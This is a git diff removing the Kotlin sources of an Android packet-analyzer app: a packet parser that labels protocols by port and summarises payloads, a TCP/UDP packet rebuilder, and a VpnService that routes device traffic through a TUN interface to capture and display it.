0xFF).toString() }}") - - // Skip IP options if present - if (ihl > 20) { - buffer.position(ihl) - } - - val protocolName: String - var sourcePort: Int? = null - var destPort: Int? = null - var flags: String? = null - var payload: String? = null - - when (protocol) { - 1 -> { // ICMP - protocolName = "ICMP" - if (buffer.remaining() >= 8) { - val type = buffer.get().toInt() and 0xFF - val code = buffer.get().toInt() and 0xFF - flags = "Type:$type Code:$code" - } - } - 6 -> { // TCP - if (buffer.remaining() >= 20) { - sourcePort = buffer.short.toInt() and 0xFFFF - destPort = buffer.short.toInt() and 0xFFFF - buffer.int // Sequence number - buffer.int // Acknowledgment number - val dataOffsetAndFlags = buffer.short.toInt() and 0xFFFF - val tcpFlags = dataOffsetAndFlags and 0x1FF - - // Enhanced protocol detection based on port numbers - protocolName = when { - destPort == 80 || sourcePort == 80 -> "HTTP" - destPort == 443 || sourcePort == 443 -> "HTTPS" - destPort == 21 || sourcePort == 21 -> "FTP" - destPort == 22 || sourcePort == 22 -> "SSH" - destPort == 23 || sourcePort == 23 -> "Telnet" - destPort == 25 || sourcePort == 25 -> "SMTP" - destPort == 110 || sourcePort == 110 -> "POP3" - destPort == 143 || sourcePort == 143 -> "IMAP" - destPort == 993 || sourcePort == 993 -> "IMAPS" - destPort == 995 || sourcePort == 995 -> "POP3S" - destPort == 587 || sourcePort == 587 -> "SMTP" - destPort in 8000..8999 || sourcePort in 8000..8999 -> "HTTP-Alt" - else -> "TCP" - } - - val flagsList = mutableListOf() - if ((tcpFlags and 0x01) != 0) flagsList.add("FIN") - if ((tcpFlags and 0x02) != 0) flagsList.add("SYN") - if ((tcpFlags and 0x04) != 0) flagsList.add("RST") - if ((tcpFlags and 0x08) != 0) flagsList.add("PSH") - if ((tcpFlags and 0x10) != 0) flagsList.add("ACK") - if ((tcpFlags and 0x20) != 0) flagsList.add("URG") - - flags = flagsList.joinToString("|") - - // Extract payload for common ports - val dataOffset = ((dataOffsetAndFlags shr 12) and 0xF) * 4 - if (buffer.remaining() >= dataOffset - 14) { // Adjust for already read bytes - buffer.position(buffer.position() + (dataOffset - 14)) - if (buffer.remaining() > 0) { - val payloadSize = minOf(100, buffer.remaining()) // Limit payload size - val payloadBytes = ByteArray(payloadSize) - buffer.get(payloadBytes) - payload = extractReadablePayload(payloadBytes, destPort ?: 0) - } - } - } else { - protocolName = "TCP" - } - } - 17 -> { // UDP - if (buffer.remaining() >= 8) { - sourcePort = buffer.short.toInt() and 0xFFFF - destPort = buffer.short.toInt() and 0xFFFF - val length = buffer.short.toInt() and 0xFFFF - buffer.short // Checksum - - // Enhanced UDP protocol detection based on port numbers - protocolName = when { - destPort == 53 || sourcePort == 53 -> "DNS" - destPort == 67 || sourcePort == 67 -> "DHCP" - destPort == 68 || sourcePort == 68 -> "DHCP" - destPort == 123 || sourcePort == 123 -> "NTP" - destPort == 161 || sourcePort == 161 -> "SNMP" - destPort == 162 || sourcePort == 162 -> "SNMP-Trap" - destPort == 443 || sourcePort == 443 -> "QUIC/HTTP3" - destPort == 853 || sourcePort == 853 -> "DNS-over-TLS" - destPort == 1701 || sourcePort == 1701 -> "L2TP" - destPort == 1723 || sourcePort == 1723 -> "PPTP" - destPort == 4500 || sourcePort == 4500 -> "IPSec-NAT-T" - destPort == 5353 || sourcePort == 5353 -> "mDNS" - destPort in 3478..3479 || sourcePort in 3478..3479 -> "STUN" - destPort in 5060..5061 || sourcePort in 5060..5061 -> "SIP" - destPort in 27000..28000 || sourcePort in 27000..28000 -> "Gaming" - destPort in 6881..6999 || sourcePort in 6881..6999 -> "BitTorrent" - else -> "UDP" - } - - // Extract payload for DNS and other protocols - if (buffer.remaining() > 0) { - val payloadSize = minOf(100, buffer.remaining()) - val payloadBytes = ByteArray(payloadSize) - buffer.get(payloadBytes) - payload = extractReadablePayload(payloadBytes, destPort ?: 0) - } - } else { - protocolName = "UDP" - } - } - else -> { - protocolName = "Protocol:$protocol" - } - } - - val timestamp = System.currentTimeMillis() - - return PacketInfo( - timestamp = timestamp, - protocol = protocolName, - sourceIP = sourceIP ?: "Unknown", - destIP = destIP ?: "Unknown", - sourcePort = sourcePort, - destPort = destPort, - length = totalLength, - flags = flags, - payload = payload - ) - - } catch (e: Exception) { - Log.e("PacketParser", "Error parsing IPv4 packet: ${e.message}") - return null - } - } - - private fun parseIPv6Packet(buffer: ByteBuffer, packet: ByteArray): PacketInfo? { - try { - if (packet.size < 40) return null // Minimum IPv6 header size - - // Reset buffer to start - buffer.rewind() - - // Parse IPv6 header properly - val versionAndTrafficClass = buffer.get().toInt() and 0xFF - val version = (versionAndTrafficClass shr 4) and 0xF - - // Verify this is actually IPv6 - if (version != 6) { - Log.d("PacketParser", "Invalid IPv6 version: $version") - return null - } - - // Read remaining header fields - val trafficClassLowAndFlowLabelHigh = buffer.get().toInt() and 0xFF - val flowLabelMid = buffer.get().toInt() and 0xFF - val flowLabelLow = buffer.get().toInt() and 0xFF - - val payloadLength = buffer.short.toInt() and 0xFFFF - val nextHeader = buffer.get().toInt() and 0xFF // Protocol - val hopLimit = buffer.get().toInt() and 0xFF // TTL equivalent - - // Validate payload length - if (payloadLength > 65535 || payloadLength < 0) { - Log.d("PacketParser", "Invalid IPv6 payload length: $payloadLength") - return null - } - - // Source IPv6 address (16 bytes) - val sourceIPBytes = ByteArray(16) - buffer.get(sourceIPBytes) - - // Destination IPv6 address (16 bytes) - val destIPBytes = ByteArray(16) - buffer.get(destIPBytes) - - val sourceIP = try { - InetAddress.getByAddress(sourceIPBytes).hostAddress - } catch (e: Exception) { - "invalid-ipv6-source" - } - - val destIP = try { - InetAddress.getByAddress(destIPBytes).hostAddress - } catch (e: Exception) { - "invalid-ipv6-dest" - } - - // Parse protocol-specific data - var protocolName = "IPv6" - var sourcePort: Int? = null - var destPort: Int? = null - var flags: String? = null - var payload: String? = null - - when (nextHeader) { - 6 -> { // TCP - protocolName = "TCP" - if (buffer.remaining() >= 20) { - sourcePort = buffer.short.toInt() and 0xFFFF - destPort = buffer.short.toInt() and 0xFFFF - buffer.int // Sequence number - buffer.int // Acknowledgment number - val dataOffsetAndFlags = buffer.short.toInt() and 0xFFFF - val tcpFlags = dataOffsetAndFlags and 0x1FF - - val flagsList = mutableListOf() - if ((tcpFlags and 0x01) != 0) flagsList.add("FIN") - if ((tcpFlags and 0x02) != 0) flagsList.add("SYN") - if ((tcpFlags and 0x04) != 0) flagsList.add("RST") - if ((tcpFlags and 0x08) != 0) flagsList.add("PSH") - if ((tcpFlags and 0x10) != 0) flagsList.add("ACK") - if ((tcpFlags and 0x20) != 0) flagsList.add("URG") - - flags = flagsList.joinToString("|") - } - } - 17 -> { // UDP - protocolName = "UDP" - if (buffer.remaining() >= 8) { - sourcePort = buffer.short.toInt() and 0xFFFF - destPort = buffer.short.toInt() and 0xFFFF - val length = buffer.short.toInt() and 0xFFFF - buffer.short // Checksum - - if (buffer.remaining() > 0) { - val payloadSize = minOf(100, buffer.remaining()) - val payloadBytes = ByteArray(payloadSize) - buffer.get(payloadBytes) - payload = extractReadablePayload(payloadBytes, destPort ?: 0) - } - } - } - 58 -> { // ICMPv6 - protocolName = "ICMPv6" - if (buffer.remaining() >= 4) { - val type = buffer.get().toInt() and 0xFF - val code = buffer.get().toInt() and 0xFF - flags = "Type:$type Code:$code" - } - } - else -> { - protocolName = "IPv6-$nextHeader" - } - } - - val timestamp = System.currentTimeMillis() - - return PacketInfo( - timestamp = timestamp, - protocol = protocolName, - sourceIP = sourceIP ?: "Unknown", - destIP = destIP ?: "Unknown", - sourcePort = sourcePort, - destPort = destPort, - length = payloadLength + 40, // Add IPv6 header size - flags = flags, - payload = payload - ) - - } catch (e: Exception) { - Log.e("PacketParser", "Error parsing IPv6 packet: ${e.message}") - return null - } - } - - private fun extractReadablePayload(payloadBytes: ByteArray, port: Int): String? { - return when (port) { - // DNS (Domain Name System) - 53 -> { // DNS - try { - if (payloadBytes.size >= 12) { - val transactionId = ((payloadBytes[0].toInt() and 0xFF) shl 8) or (payloadBytes[1].toInt() and 0xFF) - val flags = ((payloadBytes[2].toInt() and 0xFF) shl 8) or (payloadBytes[3].toInt() and 0xFF) - val isQuery = (flags and 0x8000) == 0 - "DNS ${if (isQuery) "Query" else "Response"} (ID:$transactionId)" - } else null - } catch (e: Exception) { null } - } - // HTTP (HyperText Transfer Protocol) - 80, 8080, 8000, 3000 -> { // HTTP - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - val lines = payloadStr.split("\r\n") - if (lines.isNotEmpty() && (lines[0].startsWith("GET") || lines[0].startsWith("POST") || - lines[0].startsWith("PUT") || lines[0].startsWith("DELETE") || lines[0].startsWith("HTTP"))) { - "HTTP: ${lines[0].take(60)}${if (lines[0].length > 60) "..." else ""}" - } else null - } catch (e: Exception) { null } - } - - // HTTPS/TLS (HTTP Secure) - 443, 8443 -> { // HTTPS/TLS - try { - if (payloadBytes.size >= 5 && payloadBytes[0] == 0x16.toByte()) { - "HTTPS TLS Handshake" - } else if (payloadBytes.size >= 5 && payloadBytes[0] == 0x17.toByte()) { - "HTTPS Application Data" - } else if (payloadBytes.size >= 5 && payloadBytes[0] == 0x15.toByte()) { - "HTTPS TLS Alert" - } else null - } catch (e: Exception) { null } - } - - // FTP (File Transfer Protocol) - 21 -> { // FTP Control - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - if (payloadStr.matches(Regex("^[0-9]{3} .*"))) { - "FTP Response: ${payloadStr.take(40)}${if (payloadStr.length > 40) "..." else ""}" - } else { - "FTP Command: ${payloadStr.take(40)}${if (payloadStr.length > 40) "..." else ""}" - } - } catch (e: Exception) { null } - } - 20 -> { // FTP Data - "FTP Data Transfer" - } - - // SSH (Secure Shell) - 22 -> { // SSH - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - when { - payloadStr.startsWith("SSH-") -> "SSH Protocol: ${payloadStr.take(30)}" - payloadBytes.size >= 4 -> "SSH Encrypted Data" - else -> null - } - } catch (e: Exception) { "SSH Data" } - } - - // SMTP (Simple Mail Transfer Protocol) - 25, 587 -> { // SMTP - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - when { - payloadStr.matches(Regex("^[0-9]{3} .*")) -> "SMTP Response: ${payloadStr.take(40)}" - payloadStr.startsWith("HELO") || payloadStr.startsWith("EHLO") -> "SMTP Handshake" - payloadStr.startsWith("MAIL FROM") -> "SMTP Mail From" - payloadStr.startsWith("RCPT TO") -> "SMTP Recipient" - payloadStr.startsWith("DATA") -> "SMTP Data" - else -> "SMTP: ${payloadStr.take(30)}" - } - } catch (e: Exception) { "SMTP Data" } - } - - // POP3 (Post Office Protocol) - 110, 995 -> { // POP3/POP3S - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - when { - payloadStr.startsWith("+OK") -> "POP3 OK: ${payloadStr.take(40)}" - payloadStr.startsWith("-ERR") -> "POP3 Error: ${payloadStr.take(40)}" - payloadStr.startsWith("USER") -> "POP3 Login" - payloadStr.startsWith("RETR") -> "POP3 Retrieve" - else -> "POP3: ${payloadStr.take(30)}" - } - } catch (e: Exception) { if (port == 995) "POP3S Data" else "POP3 Data" } - } - - // IMAP (Internet Message Access Protocol) - 143, 993 -> { // IMAP/IMAPS - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - when { - payloadStr.contains("* OK") -> "IMAP Server Ready" - payloadStr.contains("LOGIN") -> "IMAP Login" - payloadStr.contains("SELECT") -> "IMAP Select Folder" - payloadStr.contains("FETCH") -> "IMAP Fetch Messages" - else -> "IMAP: ${payloadStr.take(30)}" - } - } catch (e: Exception) { if (port == 993) "IMAPS Data" else "IMAP Data" } - } - - // SNMP (Simple Network Management Protocol) - 161, 162 -> { // SNMP - "SNMP ${if (port == 161) "Request" else "Trap"}" - } - - // NTP (Network Time Protocol) - 123 -> { // NTP - "NTP Time Sync" - } - - // DHCP (Dynamic Host Configuration Protocol) - 67, 68 -> { // DHCP - "DHCP ${if (port == 67) "Server" else "Client"}" - } - - // Telnet - 23 -> { // Telnet - try { - val payloadStr = String(payloadBytes, Charsets.UTF_8) - "Telnet: ${payloadStr.take(30)}${if (payloadStr.length > 30) "..." else ""}" - } catch (e: Exception) { "Telnet Data" } - } - - // Gaming and VoIP protocols - 3478, 3479 -> "STUN/TURN" // WebRTC - 5060, 5061 -> "SIP ${if (port == 5061) "(Secure)" else ""}" // VoIP - 1935 -> "RTMP" // Streaming - 4444 -> "RTP/RTCP" // Media streaming - else -> { - // Try to extract readable ASCII text - try { - val readable = payloadBytes.filter { it in 32..126 }.toByteArray() - if (readable.size >= 4) { - String(readable).take(30) + if (readable.size > 30) "..." else "" - } else null - } catch (e: Exception) { null } - } - } - } -} \ No newline at end of file diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketRebuilder.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketRebuilder.kt deleted file mode 100644 index 57515a6..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketRebuilder.kt +++ /dev/null @@ -1,259 +0,0 @@ -package com.example.packet_analyzer - -import android.util.Log -import java.nio.ByteBuffer - -/** - * Advanced packet reconstruction with proper headers and checksums - * Handles complete IP/TCP/UDP packet building - */ -object PacketRebuilder { - - private const val TAG = "PacketRebuilder" - - /** - * Build complete TCP packet with proper state tracking - */ - fun buildTcpPacket( - connection: TcpConnection, - payload: ByteArray, - flags: Int = PacketBuilder.TcpFlags.PSH or PacketBuilder.TcpFlags.ACK, - fromServer: Boolean = true - ): ByteArray? { - return try { - if (fromServer) { - // Server -> Client - PacketBuilder.buildTcpPacket( - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - seqNum = connection.serverSeq.get(), - ackNum = connection.clientSeq.get(), - flags = flags, - payload = payload - ) - } else { - // Client -> Server - PacketBuilder.buildTcpPacket( - sourceIP = connection.sourceIP, - destIP = connection.destIP, - sourcePort = connection.sourcePort, - destPort = connection.destPort, - seqNum = connection.clientSeq.get(), - ackNum = connection.serverAck.get(), - flags = flags, - payload = payload - ) - } - - } catch (e: Exception) { - Log.e(TAG, "TCP packet build error: ${e.message}") - null - } - } - - /** - * Build TCP handshake packets - */ - fun buildSynAck( - connection: TcpConnection, - serverInitSeq: Long - ): ByteArray? { - return try { - PacketBuilder.buildTcpPacket( - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - seqNum = serverInitSeq, - ackNum = connection.clientSeq.get() + 1, - flags = PacketBuilder.TcpFlags.SYN or PacketBuilder.TcpFlags.ACK, - payload = byteArrayOf() - ) - } catch (e: Exception) { - Log.e(TAG, "SYN-ACK build error: ${e.message}") - null - } - } - - fun buildAck( - connection: TcpConnection, - fromServer: Boolean = true - ): ByteArray? { - return try { - if (fromServer) { - PacketBuilder.buildTcpPacket( - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - seqNum = connection.serverSeq.get(), - ackNum = connection.clientSeq.get(), - flags = PacketBuilder.TcpFlags.ACK, - payload = byteArrayOf() - ) - } else { - PacketBuilder.buildTcpPacket( - sourceIP = connection.sourceIP, - destIP = connection.destIP, - sourcePort = connection.sourcePort, - destPort = connection.destPort, - seqNum = connection.clientSeq.get(), - ackNum = connection.serverAck.get(), - flags = PacketBuilder.TcpFlags.ACK, - payload = byteArrayOf() - ) - } - } catch (e: Exception) { - Log.e(TAG, "ACK build error: ${e.message}") - null - } - } - - fun buildFin( - connection: TcpConnection, - fromServer: Boolean = true - ): ByteArray? { - return try { - if (fromServer) { - PacketBuilder.buildTcpPacket( - sourceIP = connection.destIP, - destIP = connection.sourceIP, - sourcePort = connection.destPort, - destPort = connection.sourcePort, - seqNum = connection.serverSeq.get(), - ackNum = connection.clientSeq.get(), - flags = PacketBuilder.TcpFlags.FIN or PacketBuilder.TcpFlags.ACK, - payload = byteArrayOf() - ) - } else { - PacketBuilder.buildTcpPacket( - sourceIP = connection.sourceIP, - destIP = connection.destIP, - sourcePort = connection.sourcePort, - destPort = connection.destPort, - seqNum = connection.clientSeq.get(), - ackNum = connection.serverAck.get(), - flags = PacketBuilder.TcpFlags.FIN or PacketBuilder.TcpFlags.ACK, - payload = byteArrayOf() - ) - } - } catch (e: Exception) { - Log.e(TAG, "FIN build error: ${e.message}") - null - } - } - - /** - * Build UDP packet (simpler than TCP) - */ - fun buildUdpPacket( - sourceIP: String, - destIP: String, - sourcePort: Int, - destPort: Int, - payload: ByteArray - ): ByteArray? { - return try { - PacketBuilder.buildUdpPacket( - sourceIP = sourceIP, - destIP = destIP, - sourcePort = sourcePort, - destPort = destPort, - payload = payload - ) - } catch (e: Exception) { - Log.e(TAG, "UDP packet build error: ${e.message}") - null - } - } - - /** - * Parse TCP flags from raw packet - */ - fun getTcpFlags(rawPacket: ByteArray): Int { - return try { - if (rawPacket.size < 20) return 0 - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return 0 - val tcpFlagsOffset = ipHeaderLength + 13 - rawPacket[tcpFlagsOffset].toInt() and 0xFF - } catch (e: Exception) { - 0 - } - } - - /** - * Parse TCP sequence number from raw packet - */ - fun getTcpSeq(rawPacket: ByteArray): Long { - return try { - if (rawPacket.size < 20) return 0 - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return 0 - - val seqOffset = ipHeaderLength + 4 - val buffer = ByteBuffer.wrap(rawPacket, seqOffset, 4) - buffer.int.toLong() and 0xFFFFFFFF - } catch (e: Exception) { - 0 - } - } - - /** - * Parse TCP acknowledgment number from raw packet - */ - fun getTcpAck(rawPacket: ByteArray): Long { - return try { - if (rawPacket.size < 20) return 0 - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return 0 - - val ackOffset = ipHeaderLength + 8 - val buffer = ByteBuffer.wrap(rawPacket, ackOffset, 4) - buffer.int.toLong() and 0xFFFFFFFF - } catch (e: Exception) { - 0 - } - } - - /** - * Extract TCP payload from raw packet - */ - fun extractTcpPayload(rawPacket: ByteArray): ByteArray { - return try { - if (rawPacket.size < 20) return byteArrayOf() - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return byteArrayOf() - - val tcpHeaderStart = ipHeaderLength - val tcpHeaderLength = ((rawPacket[tcpHeaderStart + 12].toInt() and 0xF0) shr 4) * 4 - - val payloadStart = ipHeaderLength + tcpHeaderLength - if (rawPacket.size <= payloadStart) return byteArrayOf() - - rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - byteArrayOf() - } - } - - /** - * Extract UDP payload from raw packet - */ - fun extractUdpPayload(rawPacket: ByteArray): ByteArray { - return try { - if (rawPacket.size < 20) return byteArrayOf() - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 8) return byteArrayOf() - - val payloadStart = ipHeaderLength + 8 - if (rawPacket.size <= payloadStart) return byteArrayOf() - - rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - byteArrayOf() - } - } -} diff --git a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketVpnService.kt b/android/app/src/main/kotlin/com/example/packet_analyzer/PacketVpnService.kt deleted file mode 100644 index 3ce26d7..0000000 --- a/android/app/src/main/kotlin/com/example/packet_analyzer/PacketVpnService.kt +++ /dev/null @@ -1,1415 +0,0 @@ -package com.example.packet_analyzer - -import android.app.Service -import android.content.Intent -import android.net.VpnService -import android.os.ParcelFileDescriptor -import android.util.Log -import io.flutter.plugin.common.MethodChannel -import io.flutter.plugin.common.EventChannel -import kotlinx.coroutines.* -import java.io.FileInputStream -import java.io.FileOutputStream -import java.nio.ByteBuffer -import java.net.InetAddress -import java.net.* -import java.net.DatagramSocket -import java.net.DatagramPacket -import java.net.Socket -import java.net.InetSocketAddress -import java.util.concurrent.atomic.AtomicBoolean - -class PacketVpnService : VpnService() { - private var vpnInterface: ParcelFileDescriptor? = null - private var isCapturing = AtomicBoolean(false) - private var captureJob: Job? = null - // private var simulationJob: Job? = null // No longer needed - private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) - private val connectionTracker = mutableMapOf() // Track connection directions - - - companion object { - private var methodChannel: MethodChannel? = null - private var packetSink: EventChannel.EventSink? = null - - fun setMethodChannel(channel: MethodChannel) { - methodChannel = channel - Log.i("PacketVpnService", "✅ Method channel set successfully!") - } - - fun setPacketSink(sink: EventChannel.EventSink?) { - packetSink = sink - Log.i("PacketVpnService", "📡 Packet sink ${if (sink == null) "disconnected" else "connected"}") - } - } - - override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { - Log.i("PacketVpnService", "Starting VPN service...") - Log.i("PacketVpnService", "🔍 Method channel status at start: ${if (methodChannel == null) "NULL ❌" else "SET ✅"}") - - try { - Log.i("PacketVpnService", "🔧 Building VPN interface...") - val builder = Builder() - builder.setSession("PacketAnalyzerVPN") - builder.setMtu(1500) - builder.addAddress("10.0.0.2", 24) - builder.addDnsServer("8.8.8.8") - builder.addDnsServer("8.8.4.4") - - // COMPREHENSIVE TRAFFIC CAPTURE - ALL PROTOCOLS - // Enable complete internet traffic capture for all protocols - - // COMPREHENSIVE TRAFFIC CAPTURE - ALL INTERNET TRAFFIC - // Route ALL traffic through VPN for complete packet analysis - - // COMPREHENSIVE PACKET CAPTURE - ALL TRAFFIC - // Route ALL internet traffic through VPN for complete packet analysis - - // COMPREHENSIVE ROUTING: Route ALL traffic for complete packet analysis - try { - // Route ALL IPv4 traffic through VPN for complete capture - builder.addRoute("0.0.0.0", 0) - Log.i("PacketVpnService", "🌍 COMPREHENSIVE routing enabled - ALL IPv4 traffic will be captured") - Log.i("PacketVpnService", "📡 Complete network visibility - all apps and services monitored") - - // Add multiple DNS servers for reliable resolution - builder.addDnsServer("8.8.8.8") // Google Primary - builder.addDnsServer("8.8.4.4") // Google Secondary - builder.addDnsServer("1.1.1.1") // Cloudflare Primary - builder.addDnsServer("1.0.0.1") // Cloudflare Secondary - - Log.i("PacketVpnService", "🔍 ALL internet traffic will be captured and analyzed") - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Failed to add comprehensive routing: ${e.message}") - - // Fallback to strategic routing if comprehensive fails - builder.addRoute("8.8.8.8", 32) // DNS fallback - builder.addRoute("8.8.4.4", 32) - builder.addRoute("142.250.0.0", 16) // Google services fallback - Log.i("PacketVpnService", "🔄 Using strategic routing fallback") - } - - // Allow our own app to bypass VPN to prevent looping - try { - builder.addDisallowedApplication(packageName) - Log.i("PacketVpnService", "✅ Excluded own app from VPN to prevent loops") - } catch (e: Exception) { - Log.w("PacketVpnService", "Could not exclude own app: ${e.message}") - } - - Log.i("PacketVpnService", "⚙️ VPN config: Address=10.0.0.2/24, DNS=8.8.8.8,8.8.4.4, Limited routing for testing") - - // Create VPN interface for real packet capture - vpnInterface = builder.establish() - Log.i("PacketVpnService", "🎯 VPN establish() called, result: ${vpnInterface != null}") - - vpnInterface?.let { vpn -> - Log.i("PacketVpnService", "✅ Established TUN interface") - isCapturing.set(true) - - // Setup PacketListener for real-time packet metadata - val packetListener = object : Tun2SocksBridge.PacketListener { - override fun onPacket(jsonStr: String) { - Log.d("PacketVpnService", "📦 Received packet from Go: $jsonStr") - - // Forward to EventChannel on main thread - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - packetSink?.success(jsonStr) - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ EventChannel error: ${e.message}") - } - } - } - } - - // Set packet listener in Go layer - Tun2SocksBridge.setPacketListener(packetListener) - Log.i("PacketVpnService", "📡 PacketListener set for real-time streaming") - - // Start SOCKS proxy server for real internet forwarding - Log.i("PacketVpnService", "🚀 Starting SOCKS proxy server for comprehensive traffic forwarding") - - // Start embedded SOCKS proxy server - startEmbeddedSocksProxy() - - // Use tun2socks bridge for proper packet forwarding to SOCKS proxy - Log.i("PacketVpnService", "🌉 Starting tun2socks bridge with SOCKS proxy forwarding") - - // Set up packet listener for the bridge - Tun2SocksBridge.setPacketListener(packetListener) - - // DISABLED: tun2socks conflicts with direct packet reading - // Now we read packets directly and forward them ourselves - // serviceScope.launch { - // startTun2SocksWithSocksProxy(vpn) - // } - - // Start comprehensive traffic capture alongside SOCKS forwarding - startComprehensiveTrafficCapture(vpn) - - // Simulation disabled - showing only real packets now - // startLimitedPacketSimulation() - - // Test packet disabled - only showing real packets now - // Log.i("PacketVpnService", "🧪 Sending test packet to Flutter...") - // val testPacket = mapOf(...) - // notifyFlutter("PACKET_CAPTURED", testPacket) - notifyFlutter("VPN_STARTED", "Packet capture started") - } ?: run { - Log.e("PacketVpnService", "❌ Failed to establish VPN interface") - stopSelf() - } - } catch (e: Exception) { - Log.e("PacketVpnService", "Exception: ${e.message}", e) - stopSelf() - } - - return Service.START_STICKY - } - - private fun startPacketCapture(vpn: ParcelFileDescriptor) { - captureJob = serviceScope.launch { - // Use the simple packet capture approach - // This reads packets from TUN interface, analyzes them, and forwards them - Log.i("PacketVpnService", "Starting packet capture with simple forwarding...") - startSimplePacketCapture(vpn) - } - } - - - - private suspend fun startPacketAnalysisOnly(vpn: ParcelFileDescriptor) { - // When using Tun2Socks, we can only analyze packets that are mirrored - // This function keeps the service alive while Tun2Socks handles forwarding - try { - Log.i("PacketVpnService", "Packet analysis mode - Tun2Socks handling forwarding") - - while (isCapturing.get() && !Thread.currentThread().isInterrupted) { - // Send periodic status updates - notifyFlutter("VPN_STATUS", "VPN Active - Tun2Socks forwarding packets") - delay(5000) // Check every 5 seconds - } - } catch (e: Exception) { - Log.e("PacketVpnService", "Packet analysis error: ${e.message}") - } - } - - private suspend fun startSimplePacketCapture(vpn: ParcelFileDescriptor) { - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32767) - var packetCount = 0 - - try { - Log.i("PacketVpnService", "🚀 Starting enhanced bidirectional packet capture...") - Log.i("PacketVpnService", "📡 Monitoring TUN interface for all packet directions...") - - Log.i("PacketVpnService", "⏰ Starting packet read loop...") - var loopCount = 0 - while (isCapturing.get() && !Thread.currentThread().isInterrupted) { - loopCount++ - if (loopCount % 1000 == 0) { - Log.d("PacketVpnService", "💓 Read loop heartbeat: ${loopCount} iterations") - } - - val length = inputStream.read(buffer) - if (length > 0) { - packetCount++ - val packet = buffer.copyOfRange(0, length) - - // Log first few packets for debugging - if (packetCount <= 5) { - Log.i("PacketVpnService", "📦 Captured packet #$packetCount: ${length} bytes") - val hexDump = packet.take(16).joinToString(" ") { "%02x".format(it) } - Log.i("PacketVpnService", "🔍 Packet dump: $hexDump") - } - - // Enhanced packet analysis with direction detection - serviceScope.launch { - processPacketWithDirectionDetection(packet) - } - - // Forward packet using raw sockets to maintain connectivity - // Removed TUN interface forwarding to prevent circular routing - serviceScope.launch { - forwardPacketForInternet(packet, null) - } - - // Log activity periodically - if (packetCount % 50 == 0) { - Log.d("PacketVpnService", "📊 Processed $packetCount packets") - } - } else if (length == 0) { - // End of stream - Log.w("PacketVpnService", "⚠️ End of stream reached (length=0)") - break - } else { - // Error condition - Log.w("PacketVpnService", "⚠️ Read error (length=$length)") - delay(10) // Small delay before retrying - } - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Enhanced packet capture error: ${e.message}") - } - - Log.i("PacketVpnService", "📈 Total packets captured: $packetCount") - } - - - private fun parseAndProcessPacketWithSmartDirection(packet: ByteArray) { - try { - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo != null) { - // SMART DIRECTION DETECTION based on multiple factors - val direction = determinePacketDirection(packetInfo) - - Log.v("PacketVpnService", "🔍 Smart direction: ${packetInfo.sourceIP}:${packetInfo.sourcePort} → ${packetInfo.destIP}:${packetInfo.destPort} = $direction") - - // Convert PacketInfo to Map for Flutter - val packetMap = mapOf( - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - notifyFlutter("PACKET_CAPTURED", packetMap) - streamPacketToFlutter(packetMap) - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Smart packet processing error: ${e.message}") - } - } - - private fun determinePacketDirection(packetInfo: PacketParser.PacketInfo): String { - val vpnIP = "10.0.0.2" - val sourceIP = packetInfo.sourceIP - val destIP = packetInfo.destIP - val sourcePort = packetInfo.sourcePort ?: 0 - val destPort = packetInfo.destPort ?: 0 - - // METHOD 1: Check VPN IP addresses (most reliable) - when { - sourceIP == vpnIP && destIP != vpnIP -> return "OUT" // From device to internet - sourceIP != vpnIP && destIP == vpnIP -> return "IN" // From internet to device - } - - // METHOD 2: Port-based detection with enhanced patterns - when { - // Outgoing: High source port (ephemeral) to well-known destination port - sourcePort > 1024 && destPort in listOf(80, 443, 53, 21, 22, 25, 110, 143, 993, 995, 587, 465, 993, 995, 143, 993) -> return "OUT" - - // Incoming: Well-known source port to high destination port (server responses) - sourcePort in listOf(80, 443, 53, 21, 22, 25, 110, 143, 993, 995, 587, 465) && destPort > 1024 -> return "IN" - - // DNS queries and responses - destPort == 53 -> return "OUT" - sourcePort == 53 -> return "IN" - - // HTTP/HTTPS patterns - destPort in listOf(80, 443, 8080, 8443) -> return "OUT" - sourcePort in listOf(80, 443, 8080, 8443) -> return "IN" - } - - // METHOD 3: Enhanced IP 